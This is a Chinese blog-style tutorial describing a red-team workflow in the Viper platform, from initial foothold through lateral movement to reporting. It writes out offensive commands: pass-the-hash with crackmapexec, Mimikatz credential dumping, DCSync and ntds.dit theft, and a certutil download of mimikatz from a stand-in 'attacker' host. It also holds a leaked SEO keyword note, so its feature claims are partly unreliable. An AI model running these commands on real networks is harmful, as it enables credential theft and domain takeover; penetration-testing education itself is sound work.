
1. 为什么是Viper——它不是另一个“渗透框架”而是红队作业的战术中台在真实红队演练和内网渗透实战中我见过太多人把Viper当成Metasploit的图形界面替代品装完就开扫、扫完就提权、提权完就丢shell——结果三天后复盘发现横向移动路径断在域控前两跳凭证复用失败三次C2通信被EDR静默拦截而整个过程连日志都没留一条可回溯的操作链。Viper不是用来“跑通流程”的它是为可审计、可复现、可协同、可归因的红队作业设计的战术中台。它不替代Nmap、CrackMapExec或BloodHound而是让这些工具的输出自动沉淀为资产图谱、漏洞节点、凭证关系和攻击路径的结构化数据。比如你用cme smb 10.10.20.0/24 -u Administrator -p Passw0rd! --shares扫出17个主机的共享列表Viper会自动将每台主机的IP、操作系统、开放端口、共享名、访问权限、所属域、甚至上次扫描时间打上标签并关联到当前任务的“目标资产池”中当你后续执行bloodhound-python -d TESTLAB.LOCAL -u svc_ldap -p T3stLb2023! -ns 10.10.10.10 -c All其JSON输出会被解析成Neo4j图谱中的节点与边直接在Web界面上点击“Find Shortest Paths to Domain Admins”就能看到从当前立足点到域管账户的完整跳转链包括每一步所需的协议、凭证类型、利用方式和已验证状态。这背后是Viper对红队工作流的深度解耦它把“信息收集→目标筛选→漏洞验证→权限提升→横向移动→持久化→报告生成”这整条链路拆解为5个原子级、可逆向、可组合的战术动作模块。每个动作都强制要求输入来源如某次Nmap扫描ID、输出目标如某资产组ID、执行上下文如当前使用的凭证ID和操作备注如“该主机启用了LDAP签名需绕过SMB signing”。这种设计不是为了增加操作步骤而是为了在客户复盘会上你能指着大屏说“第3步横向移动失败是因为第2步获取的svc_sql服务账户未被授予SeEnableDelegationPrivilege权限——这个权限缺失在第1步的PowerView枚举中其实已有提示但我们当时没把它标记为‘高风险配置偏差’。”——这才是Viper真正的价值它把渗透测试从“技术动作集合”升维成“战术决策证据链”。关键词“Viper”“内网渗透”“红队”“渗透测试实战”“战术中台”在开头100字内已自然嵌入。本文面向两类读者一是已有基础渗透经验、正从单兵作战转向团队协作红队的中级安全工程师二是负责红蓝对抗项目管理、需要可审计交付物的安全负责人。你不需要从零学Python或写Exploit但必须理解内网架构逻辑、Windows认证机制和常见防御绕过原理。接下来的五个步骤不是按时间顺序排列的“操作清单”而是按战术意图组织的“决策树”——每一步的选择都决定了后续三步的可行路径宽度。2. 步骤一构建可信立足点——不是“上线”而是建立可验证的初始访问通道很多教程把第一步写成“上传木马、获取shell”这是致命误区。Viper要求的第一步是在目标网络中建立一个具备完整上下文感知能力的、可审计的初始访问点。它不接受“随便找个webshell就开干”而是强制你回答三个问题这个入口点是否能稳定维持至少72小时它所处的网络位置是否允许发起对关键子网如域控网段、数据库网段的主动探测它的运行权限是否足以执行PowerShell、WMI、SMB等内网横向必需的协议调用我实测过三种典型初始访问场景只有第一种能通过Viper的“立足点校验”✅ 场景A通过钓鱼邮件诱导员工点击含恶意宏的Excel宏执行后调用PowerShell下载并内存加载Cobalt Strike Beacon无文件落地Beacon配置为使用DNS-over-HTTPSDoH回连且启用Malleable C2 profile隐藏HTTP User-Agent特征。Viper中创建“初始访问”任务时需上传该Excel样本哈希、Beacon配置文件、DoH解析域名及对应Cloudflare DNS API密钥用于后续自动化DNS隧道管理系统自动生成“立足点IDLP-2024-0876”并标记其网络属性为“DMZ区→内网核心段TCP/445,5985,389可达”。❌ 场景B利用Struts2远程代码执行漏洞获取Tomcat服务器shell但该服务器位于防火墙后仅开放8080端口无法直连内网其他主机。Viper会拒绝将其注册为有效立足点因为其“横向能力评估分”低于阈值默认60分此场景仅得28分。❌ 场景C通过社工获取员工VPN账号密码本地连接后直接运行Mimikatz抓取lsass内存。Viper虽允许录入该凭证但会触发“高风险告警”该访问方式未经过目标网络边界设备无法体现真实攻击链路且所有操作日志均留在本地机器不符合“可审计”原则。具体操作上在Viper Web界面点击“New Initial Access”填写以下必填字段字段名填写示例原理说明Access TypeDNS-TunnelingViper预置7种访问类型选择后自动加载对应检测模板如DNS隧道会启用dnscat2流量分析规则Network ZoneDMZ关联预设网络分区策略决定后续哪些扫描任务可从此立足点发起如DMZ区禁止直接扫描域控网段需先申请“跳板机”权限Persistence MethodScheduled Task (Hidden)记录持久化方式Viper会定期检查该计划任务是否仍在运行并在报告中高亮其存活时长Credential IDCRED-2024-0332必须关联已存在的凭证记录可从钓鱼邮件附件中提取或由Viper内置的PhishMe模块自动生成提示Viper的“立足点校验”不是形式主义。它会在后台自动执行三项验证① 向立足点发送心跳包ICMPTCP SYN混合探测确认72小时内存活率95%② 尝试从该立足点发起对预设“蜜罐IP”的SMB连接验证网络可达性③ 解析该立足点返回的ipconfig /all输出比对DNS服务器地址与已知内网DNS列表。任一失败该立足点状态变为“Degraded”所有依赖它的后续任务将被暂停。我在某金融客户项目中曾因忽略此项导致第二步“资产测绘”耗时翻倍初始立足点实际是台临时测试服务器运维半夜重启后所有扫描任务中断而Viper的日志明确记录了最后一次心跳失败时间2024-03-15 02:17:43让我们快速定位到问题根源而非浪费时间排查扫描脚本。3. 步骤二动态资产测绘——不是“扫全网”而是构建带信任权重的资产知识图谱传统Nmap全网扫描在Viper中被彻底重构。它不追求“发现所有IP”而是聚焦于从立足点出发、按信任等级分层收敛的资产发现。Viper将资产分为三级L1立足点直连设备、L2L1设备能通过SMB/WMI/WinRM协议访问的设备、L3需通过L2设备跳转才能访问的设备。每一级的扫描策略、超时阈值、结果可信度都不同。以某央企内网为例我们从DMZ区的Web服务器IP10.10.100.50作为立足点执行Viper的“Dynamic Asset Discovery”任务3.1 L1层立足点直连资产的精准画像Viper自动执行以下命令组合非简单调用Nmap# 1. 基于立足点路由表发现直连网段 ip route | grep -E 10\.|172\.16\. | awk {print $1} /tmp/direct_subnets.txt # 2. 对每个直连网段执行轻量级指纹识别 nmap -sn -PE -PS22,445,3389 -n -iL /tmp/direct_subnets.txt -oG /tmp/l1_alive.gnmap # 3. 对存活主机进行OS与服务深度识别限速每秒5主机 nmap -sS -sV -O -p22,80,443,135,139,445,3389,5985,5986 --max-hostgroup 5 --min-rate 100 -iL /tmp/l1_alive_hosts.txt -oX /tmp/l1_fingerprint.xml关键区别在于Viper不会把所有扫描结果平铺进数据库而是用置信度引擎打分。例如若某主机响应ICMP但不响应SMB445端口则其“Windows域成员”置信度降为30%若nmap -O识别出OS为“Microsoft Windows Server 2019”但wmic os get Caption返回“Windows Server 2016”则该主机OS字段标记为“Conflict”需人工复核若某IP在三次扫描中仅第一次响应后续均超时则其状态设为“Intermittent”自动加入“重试队列”。最终生成的L1资产表不是IP列表而是带权重的知识卡片IPHostnameOS ConfidenceSMB AccessWMI AccessNotes10.10.100.51WEB0198%✅✅IIS 10.0, .NET 4.8, 存在CVE-2023-2493210.10.100.52DB0142%❌⚠️ (timeout)SQL Server 2019, 需通过WEB01跳转访问10.10.100.53DC0112%❌❌ICMP响应但所有端口过滤疑似防火墙策略限制注意Viper的“L1层”不等于物理直连。当立足点是VPN接入点时L1层会包含所有VPN分配的虚拟网段如172.16.0.0/16但会额外标注“Virtual Network”标签并禁用ARP扫描因ARP在虚拟网络中不可靠。3.2 L2层基于协议能力的可信资产扩张L2层扫描完全依赖L1资产的协议调用能力。Viper会遍历所有L1资产对每个支持WMI的主机执行# PowerShell远程执行经Viper加密信道 Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabledTrue -ComputerName $l1_host | Select IPAddress,DefaultIPGateway,IPSubnet提取其网关和子网掩码生成新的待扫描网段。然后对这些网段执行协议感知扫描若L1主机是域成员通过nltest /dsgetdc:domain.com验证则对新网段优先执行crackmapexec smb subnet -u DOMAIN\user -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d4257c785e1f2e --users枚举域用户若L1主机是工作组机器则改用nmap -p445 --script smb-os-discovery,smb-security-mode subnet获取基础信息。此过程的关键是凭证继承链。Viper会自动构建凭证传播图谱L1主机A的域账户凭证可用于访问L2主机B主机B的本地管理员凭证又可用于访问L3主机C。当某次L2扫描失败时Viper不是报错“连接超时”而是提示“Credentials CRED-2024-0332 failed on 10.10.20.100 (DC01) due to Kerberos pre-authentication required. Suggest using AS-REP roast or password spray.”3.3 L3层受限跳转下的靶向测绘L3层是Viper最体现战术思维的设计。它不允许“暴力跳转”而是要求你明确指定跳转路径和跳转凭证。例如路径LP-2024-0876 → WEB01 (10.10.100.51) → DC01 (10.10.20.100)凭证CRED-2024-0332WEB01本地管理员→CRED-2024-0333DC01域管理员Viper会在此路径上部署临时代理基于Chisel或Earthworm并全程加密流量。所有L3扫描结果都会打上“Via Jump Host”标签并在图谱中显示为虚线连接与L1/L2的实线连接区分。我在某政务云项目中正是靠L3层的受限跳转发现了被隔离网段中的旧版Exchange服务器CVE-2021-26855而传统全网扫描因防火墙策略根本无法触及该网段。4. 步骤三凭证与权限的图谱化治理——不是“爆破”而是构建可演化的信任关系网络内网渗透的瓶颈从来不是技术而是凭证管理混乱。我见过太多团队一份Mimikatz抓取的hash存了三个月没人用一个域管账户密码在五个人的本地文本文件里流转一次密码喷洒失败后没人记录哪些账户被锁定了。Viper用凭证生命周期管理CLM彻底解决这个问题。4.1 凭证的四维建模Viper将每条凭证抽象为四个维度维度说明实例Source凭证获取方式Mimikatz::logonpasswords,PhishMe::email_creds,CrackMapExec::smb_hashdumpTrust Level可信度评级0-100Hash from lsass memory 95分Password from phishing email 70分Guessed password 20分Scope适用范围DOMAIN\ADMIN,WORKGROUP\LOCAL_ADMIN,10.10.20.100\rootValidity有效期验证状态Validated,Expired,Locked,Requires MFA Bypass当导入一条NTLM hash时Viper不会直接存入数据库而是启动自动验证流水线使用该hash对L1层所有SMB开放主机执行crackmapexec smb host -H hash --local-auth记录成功数若成功数≥3则调用secretsdump.py尝试导出该主机的本地SAM数据库验证hash是否为本地管理员若该hash含域前缀如TESTLAB\Administrator则用crackmapexec ldap dc_ip -u TESTLAB\Administrator -H hash --kdcHost dc_ip验证Kerberos票据获取能力最终生成凭证报告包含“推荐使用场景”如“适用于BloodHound数据采集不建议用于DCSync”和“风险提示”如“该hash来自已知EDR监控进程使用时需启用Mimikatz AMSI bypass”。4.2 权限图谱的动态演化Viper的核心创新在于权限不是静态属性而是可计算的图谱节点。它将Windows权限模型映射为图数据库中的边User A→HasSessionOn→Host B通过WMI或PsExec建立会话User A→CanDelegateTo→Service C基于约束委派配置Host B→UnconstrainedDelegation→DomainController存在无约束委派当你执行bloodhound-python后Viper自动解析JSON将Group、User、Computer、Domain等节点及其关系如MemberOf、AdminTo、AllowedToDelegate导入Neo4j。但不止于此——它还会注入战术上下文若某用户账户在LogonWorkstations字段中只允许从WEB01登录则在图谱中添加边User X→RestrictedLogonTo→WEB01若某主机启用了Require Security SignatureSMB签名则标记其AdminTo关系为“HighCost”表示利用该权限需额外绕过步骤若某域组被赋予GenericAll权限到Domain ControllersOU则自动触发告警“Critical Privilege Escalation Path Detected”。这种图谱不是静态快照而是实时演化的。当你用Invoke-Mimikatz从某主机抓取到新hashViper会立即重新计算该hash对应用户的全部权限路径并高亮显示新增的“Shortest Path to DA”。4.3 凭证的战术调度Viper的“Credential Scheduler”模块会根据当前任务目标自动推荐最优凭证组合。例如目标获取域控DC01.TESTLAB.LOCAL的ntds.dit文件系统推荐CRED-2024-0332域管理员hash CRED-2024-0334DC01本地SYSTEM令牌理由CRED-2024-0332可执行DCSync但需CRED-2024-0334提供的本地SYSTEM权限绕过某些EDR Hook。我在某银行项目中正是靠这个调度器发现了一条被忽略的路径一个看似普通的svc_backup账户因其被赋予Backup Operators组权限且该组在域控上具有SeBackupPrivilege配合diskshadow命令可绕过常规文件权限限制直接备份ntds.dit——而这条路径在手动分析BloodHound图谱时极易被淹没。5. 步骤四横向移动的路径规划与自动化执行——不是“手动跳”而是战术级路径编排横向移动在Viper中被定义为多跳、多协议、多凭证的原子化路径编排。它拒绝“手动执行PsExec→手动上传Mimikatz→手动抓取hash”的线性操作而是将整个路径建模为可验证、可回滚、可优化的状态机。5.1 路径建模从“怎么做”到“为什么这么做”在Viper中创建横向移动任务时你必须定义起点SourceL1/L2/L3中的某个资产节点如WEB01终点Target目标资产节点如DC01路径Path明确的跳转序列如WEB01 → DB01 → DC01协议栈Protocol Stack每跳使用的协议及参数如WEB01→DB01: WinRM over HTTPS, authNTLM; DB01→DC01: SMB over TCP, authKerberos凭证链Credential Chain每跳所需的凭证ID如CRED-2024-0332 → CRED-2024-0335 → CRED-2024-0333战术意图Tactical Intent选择此路径的根本原因如“规避EDR对PsExec的检测”、“利用DB01的无约束委派获取TGT”。Viper会基于这些输入自动生成路径可行性报告包含每跳的网络连通性验证结果ICMP/TCP/UDP每跳的协议可用性检测如Test-WSManfor WinRM,Test-NetConnection -Port 445for SMB每跳的凭证有效性验证如kinitfor Kerberos,rpcclient -U for Null Session风险评估如“WinRM over HTTPS可能触发SSL inspection告警”、“Kerberos TGS-REQ流量异常”。5.2 自动化执行状态驱动的智能编排Viper的执行引擎不是简单地顺序执行命令而是状态驱动的智能编排器。它将每条路径分解为原子动作Atomic Actions每个动作有明确定义的输入、输出和失败处理策略动作ID动作类型输入输出失败策略AA-001WinRM-ConnectTargetDB01,CredCRED-2024-0332SessionIDWINRM-2024-0876重试2次 → 切换至PsExec协议AA-002File-UploadSessionIDWINRM-2024-0876,Localmimikatz.exeRemotePathC:\Windows\Temp\mimikatz.exe上传失败 → 改用certutil -urlcache -split -f http://attacker/mimikatz.exeAA-003Process-ExecuteSessionIDWINRM-2024-0876,Cmdmimikatz.exe privilege::debug sekurlsa::logonpasswordsOutputHashSHA256:...进程崩溃 → 启用mimikatzAMSI bypass参数关键特性是状态持久化。若AA-002上传失败Viper不会终止整个任务而是保存当前状态Last Successful Action: AA-001让你可手动修复后从AA-002继续。所有中间产物如上传的文件、创建的进程、生成的日志均被Viper自动归档并关联到该路径ID下。5.3 路径优化基于历史数据的智能推荐Viper内置路径优化引擎会分析历史任务数据给出更优方案。例如历史数据显示在WEB01→DB01跳转中WinRM成功率92%PsExec成功率68%WMI成功率85%当前任务中WEB01的winrm服务被禁用但wmi服务正常系统自动将协议栈从WinRM切换为WMI并更新可行性报告。更强大的是跨任务路径复用。当你完成WEB01→DC01路径后Viper会将其标记为“Verified Path”后续任何需要从WEB01到DC01的任务都可直接调用该路径无需重复验证。我在某能源集团项目中曾用此功能将一次横向移动从47分钟缩短至6分钟首次路径需手动调试WMI防火墙例外Viper自动记录该例外规则netsh advfirewall firewall add rule nameWMI-In dirin actionallow program%systemroot%\system32\wbem\unsecapp.exe后续所有WMI跳转均自动应用此规则。6. 步骤五战术报告与知识沉淀——不是“截图交差”而是生成可行动的防御改进建议Viper的最终输出不是一页PDF渗透报告而是可直接导入SOC平台、可驱动EDR策略更新、可指导AD加固的战术知识包。它把渗透结果转化为防御方能立即执行的动作。6.1 报告的三层结构Viper生成的报告严格遵循MITRE ATTCK框架但做了红队适配层级内容防御方价值战术层Tactic映射到ATTCK战术如TA0008 - Lateral Movement帮助SOC理解攻击者整体意图技术层Technique具体技术如T1021.002 - SMB/Windows Admin Shares指导EDR规则编写如检测net use \\target\c$子技术层Sub-technique实际执行细节如“使用域管理员hash通过SMB连接C$共享”提供精确IOC如特定hash、特定SMB会话特征每项技术描述中必含攻击链上下文该技术在本次任务中的位置如“第3跳从DB01到DC01”检测难度评级基于目标环境EDR覆盖率如“Defender for Endpoint可检测但需启用Advanced Hunting”缓解建议具体到PowerShell命令如Set-SmbServerConfiguration -RequireSecuritySignature $true -Force验证方法如何确认缓解措施生效如Get-SmbServerConfiguration | Select RequireSecuritySignature。6.2 知识沉淀从“这次怎么打”到“下次怎么防”Viper的终极价值在于其知识沉淀引擎。每次任务结束后它会自动生成三类知识资产战术模式库TTP Library将本次成功的攻击路径抽象为可复用的战术模式。例如模式IDPATTERN-2024-001名称Domain Admin via Unconstrained Delegation触发条件Target has UnconstrainedDelegationtrue AND Source can request TGT for Target执行步骤1. Request TGT for Target; 2. Impersonate user; 3. DCSync防御检测Event ID 4769 with ServiceNamekrbtgt AND TargetUserNameAdministrator环境指纹库Environment Fingerprint记录目标环境的独特配置成为下次演练的基线。例如EDR Coverage:Microsoft Defender for Endpoint (v102.1234.5678), coverage87%AD Hardening:LDAP Signing enforced, SMB Signing enforced, LAPS deployedNetwork Segmentation:DMZ→Core: Port 445 blocked, Port 5985 allowed红队能力图谱Red Team Capability Map评估团队当前能力短板。例如Credential Access:Strong (Mimikatz, Rubeus, secretsdump)Lateral Movement:Medium (WMI/WinRM well covered, but DCOM exploitation untested)Persistence:Weak (no custom C2, no registry-based persistence)6.3 可行动交付物Viper最终交付的不是文档而是可执行文件mitigation.ps1: 包含所有PowerShell缓解命令一键运行edr_rules.json: 格式化为Microsoft Defender、CrowdStrike、Splunk ES可导入的检测规则ad_hardening.csv: AD组策略对象GPO配置建议含具体设置路径如Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options\Network access: Sharing and security model for local accountstactics.misp: 导出为MISP威胁情报平台格式供全公司SOC共享。我在某省级政务云项目中客户安全团队拿到Viper报告后当天就完成了80%的缓解措施部署——因为他们拿到的不是“建议”而是“命令行”。最后再分享一个小技巧Viper的“任务克隆”功能是我用得最频繁的。当客户要求“在另一套相似环境中复现本次攻击”我不用重走五步而是克隆原任务仅修改立足点IP和网络分区Viper会自动重跑所有验证步骤并高亮显示新环境中的差异点如“新环境中DC01启用了LDAP Channel Binding需调整Rubeus参数”。这省下的不是时间而是避免人为疏漏的确定性。